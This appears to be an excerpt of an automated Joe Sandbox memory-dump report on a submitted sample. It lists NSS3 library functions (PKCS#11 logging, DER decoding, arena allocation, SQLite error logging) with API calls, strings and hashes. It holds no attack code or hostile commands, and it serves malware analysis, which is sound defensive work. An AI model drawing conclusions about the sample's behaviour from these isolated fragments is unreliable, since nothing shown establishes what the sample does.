(CK_INVALID_HANDLE), xrefs: 6C766C9C
C_DigestInit, xrefs: 6C766C61

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 9c798e46ae3166305897a1b508d42ead685169374f29f56640888dcae61c708e
Instruction ID: a7a46b677497b30fa87516abc9895b6c0f3f1f76be166d86ce7271a5f41acbfa
Opcode Fuzzy Hash: 9c798e46ae3166305897a1b508d42ead685169374f29f56640888dcae61c708e
Instruction Fuzzy Hash: 9F21D531601114ABDB209F2EDF8DB9A3BB5EB4631DF844435E80997F12DB34AA18CBD5

Function 6C769DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C769DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C769E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C769E33

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C769E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C769E65

Strings

hSession = 0x%x, xrefs: 6C769E0E, 6C769E1E
C_SessionCancel, xrefs: 6C769DF1
flags = 0x%x, xrefs: 6C769E60
(CK_INVALID_HANDLE), xrefs: 6C769E2C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: c2243dedf04a6e8dd69b02ae9dce53e688f7a60989b4345dbf924674477889bf
Instruction ID: 8f46b949fea3dd9a5ccee02f4a3bf734d6875e0c60301aa6aee0300d1aecce60
Opcode Fuzzy Hash: c2243dedf04a6e8dd69b02ae9dce53e688f7a60989b4345dbf924674477889bf
Instruction Fuzzy Hash: B121E472601108AFD7209F19DF8DB6A37B9EB5630DF444435E909A7F11DB34A858C7E2

Function 6C736DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C737D8F,6C737D8F,?,?), ref: 6C736DC8

Part of subcall function 6C78FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C78FE08
Part of subcall function 6C78FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C78FE1D
Part of subcall function 6C78FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C78FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C737D8F,?,?), ref: 6C736DD5

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C858FA0,00000000,?,?,?,?,6C737D8F,?,?), ref: 6C736DF7

Part of subcall function 6C78B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8618D0,?), ref: 6C78B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C736E35

Part of subcall function 6C78FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C78FE29
Part of subcall function 6C78FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C78FE3D
Part of subcall function 6C78FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C78FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C736E4C

Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C858FE0,00000000), ref: 6C736E82

Part of subcall function 6C736AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C73B21D,00000000,00000000,6C73B219,?,6C736BFB,00000000,?,00000000,00000000,?,?,?,6C73B21D), ref: 6C736B01
Part of subcall function 6C736AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C736B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C736F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C736F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C858FE0,00000000), ref: 6C736F6B
PR_SetError.NSS3(FFFFE005,00000000,6C737D8F,?,?), ref: 6C736FE1

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 66fbaa022bb3ddff059329e77429b582bb8222e76d2498ceef066bb43c9022d3
Instruction ID: 1a36db28d5a08172fb7ab5ac5efe5baff8fa0361f070437869dca6aaa4ba68e8
Opcode Fuzzy Hash: 66fbaa022bb3ddff059329e77429b582bb8222e76d2498ceef066bb43c9022d3
Instruction Fuzzy Hash: AB71A071D112569BDB00CF55CE44BAABBA8BF54308F155239E808DBB12F771EA94CB90

Function 6C77ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE10
EnterCriticalSection.KERNEL32(?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C75D079,00000000,00000001), ref: 6C77AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE7F
TlsGetValue.KERNEL32(?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AEF1
free.MOZGLUE(6C75CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C75CDBB,?), ref: 6C77AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AF30

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: fd4fdb933f48c417000811a81971bc79fd8b5166accbfafa347893339e5dbba2
Instruction ID: 3a07062732537efbd6b78feb663d4ec1a8dfc960687fef502ded3dc78aa7650a
Opcode Fuzzy Hash: fd4fdb933f48c417000811a81971bc79fd8b5166accbfafa347893339e5dbba2
Instruction Fuzzy Hash: 7D51CEB1A00605EFEF20DF29C989B16B7B4BF05328F045274E81897E01E331E864CBE1

Function 6C754CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C75AB7F,?,00000000,?), ref: 6C754CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C75AB7F,?,00000000,?), ref: 6C754CC8
TlsGetValue.KERNEL32(?,6C75AB7F,?,00000000,?), ref: 6C754CE0
EnterCriticalSection.KERNEL32(?,?,6C75AB7F,?,00000000,?), ref: 6C754CF4
PL_HashTableLookup.NSS3(?,?,?,6C75AB7F,?,00000000,?), ref: 6C754D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C754D10

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C754D26

Part of subcall function 6C7F9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DC6
Part of subcall function 6C7F9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DD1
Part of subcall function 6C7F9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C754D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C754DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C754E02

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: d4f6db59197b91fc817ff36dd8882c990ae503d705f1f251587d577dc6ce95fb
Instruction ID: bb66544ecdac190a84d84b4faef571c16b653f0276b3e16f0e9edbd2c1db079e
Opcode Fuzzy Hash: d4f6db59197b91fc817ff36dd8882c990ae503d705f1f251587d577dc6ce95fb
Instruction Fuzzy Hash: 0E41E9B5A00201ABDB119F28EE4996677B8BF1521CF458170ED1887B12FF31E934D7E1

Function 6C71FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C71FD18
sqlite3_initialize.NSS3 ref: 6C71FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C71FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C71FD99
sqlite3_free.NSS3(00000000), ref: 6C71FE3C
sqlite3_free.NSS3(?), ref: 6C71FEE3
sqlite3_free.NSS3(?), ref: 6C71FEEE

Strings

simple, xrefs: 6C71FC79

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 186c7e6b41eb78209533da1c2be0b51817ae8e15c6b7828473b635334c34226e
Instruction ID: fbd43cd2d540e254283eaf6e12b743834120aba4842cade65528383aa0740bae
Opcode Fuzzy Hash: 186c7e6b41eb78209533da1c2be0b51817ae8e15c6b7828473b635334c34226e
Instruction Fuzzy Hash: E491B4B0A052058FDB04CF65CA84B6AF7B5FF85318F28C56CD819ABB52D731E845CB90

Function 6C725CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C725EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C725EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6C725E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C725ED1
%s at line %d of [%.10s], xrefs: 6C725EE0
misuse, xrefs: 6C725EDB
API call with %s database connection pointer, xrefs: 6C725EC3
invalid, xrefs: 6C725EBE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1fbe6fc1c82b820aabf7d58cca1fb320464b17c189ad60b28e8d61959f4e0111
Instruction ID: 94e633c317f3a90d2659d1fe49f9fc172470cb2a1831ee5ca73b10910e03d49d
Opcode Fuzzy Hash: 1fbe6fc1c82b820aabf7d58cca1fb320464b17c189ad60b28e8d61959f4e0111
Instruction Fuzzy Hash: 7381C430B05A119BEB69CF29EA89BAA7370BF4130CF140679D8155BB59C738E842CBD1

Function 6C70DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C70DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70DE52, 6C70DE81
%s at line %d of [%.10s], xrefs: 6C70DE61, 6C70DE90
database corruption, xrefs: 6C70DE5C, 6C70DE8B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 1b8487448b38c85e5b0e0392fa97270e91fd84f325590ca19b31a1e15c0c66d7
Instruction ID: d62da3f790d1e23a5bd8dd383b74f50bffc65573c047bc6f665b74c455c8fb90
Opcode Fuzzy Hash: 1b8487448b38c85e5b0e0392fa97270e91fd84f325590ca19b31a1e15c0c66d7
Instruction Fuzzy Hash: FC81D2B17043009FD714CF25C981B6AB7E1AFA5308F14883EF89A8BB51E731E845C79A

Function 6C794DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C79536F,00000022,?,?,00000000,?), ref: 6C794E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C794F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C794F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C794FAE
free.MOZGLUE(?), ref: 6C794FC8

Strings

oSyl", xrefs: 6C794DFB, 6C794EF4, 6C794EC5
%s=%c%s%c, xrefs: 6C794FA9
%s=%s, xrefs: 6C794F89

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSyl"
API String ID: 2709355791-2065072779
Opcode ID: ce7aa1236e8c03de922d7ad98c68f9e5281b28ee68b8b537c43ade09915e9d3e
Instruction ID: f8cba517df21b6f37d1eb3d0d4ae260ebc6e58cd152094f6421d7c8217940b3d
Opcode Fuzzy Hash: ce7aa1236e8c03de922d7ad98c68f9e5281b28ee68b8b537c43ade09915e9d3e
Instruction Fuzzy Hash: 41514A31E0514A8BEF01CA6AE6907FF7BFA9F46308F288135E8B5A7F41D33588059791

Function 6C733E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C7340D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C733F7F,?,00000055,?,?,6C731666,?,?), ref: 6C7340D9
Part of subcall function 6C7340D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C731666,?,?), ref: 6C7340FC
Part of subcall function 6C7340D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C731666,?,?), ref: 6C734138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C733EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C733ED6

Part of subcall function 6C78B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8618D0,?), ref: 6C78B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C733EEE

Part of subcall function 6C78FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C788D2D,?,00000000,?), ref: 6C78FB85
Part of subcall function 6C78FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C78FBB1

PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C733F02
PL_FreeArenaPool.NSS3 ref: 6C733F14
PL_FinishArenaPool.NSS3 ref: 6C733F1C

Part of subcall function 6C7964F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C79127C,00000000,00000000,00000000), ref: 6C79650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C733F27

Strings

security, xrefs: 6C733EBC

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: c1c450e8e56540336b1e56c30571258d8ac046e259b42f0309f6f85a8fcc1858
Instruction ID: 5ea437322aeed2131c7e43519ea1d67ded9b345076dd84e16833a4dbb7d656c4
Opcode Fuzzy Hash: c1c450e8e56540336b1e56c30571258d8ac046e259b42f0309f6f85a8fcc1858
Instruction Fuzzy Hash: D7213D729043006BD3145B15AD49F5B77A8BB4575CF00093DF559A7B42E730D618C79A

Function 6C77CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C77CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C77CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C77D079

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 39515d412e9992cbc7554b4a9a690251debc966484931b330c6235e880e579af
Instruction ID: 4fa4c70622e9464ee9c8348293e57924d527fa651024ef06da0bc6ac3e05b5fe
Opcode Fuzzy Hash: 39515d412e9992cbc7554b4a9a690251debc966484931b330c6235e880e579af
Instruction Fuzzy Hash: 19C190B1A002199BDF20CF24CE89BDAB7B4BB48318F1441B8D94897741E775EE95CFA0

Function 6C76DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7797C1,?,00000000,00000000,?,?,?,00000000,?,6C757F4A,00000000), ref: 6C76DC68

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DF78
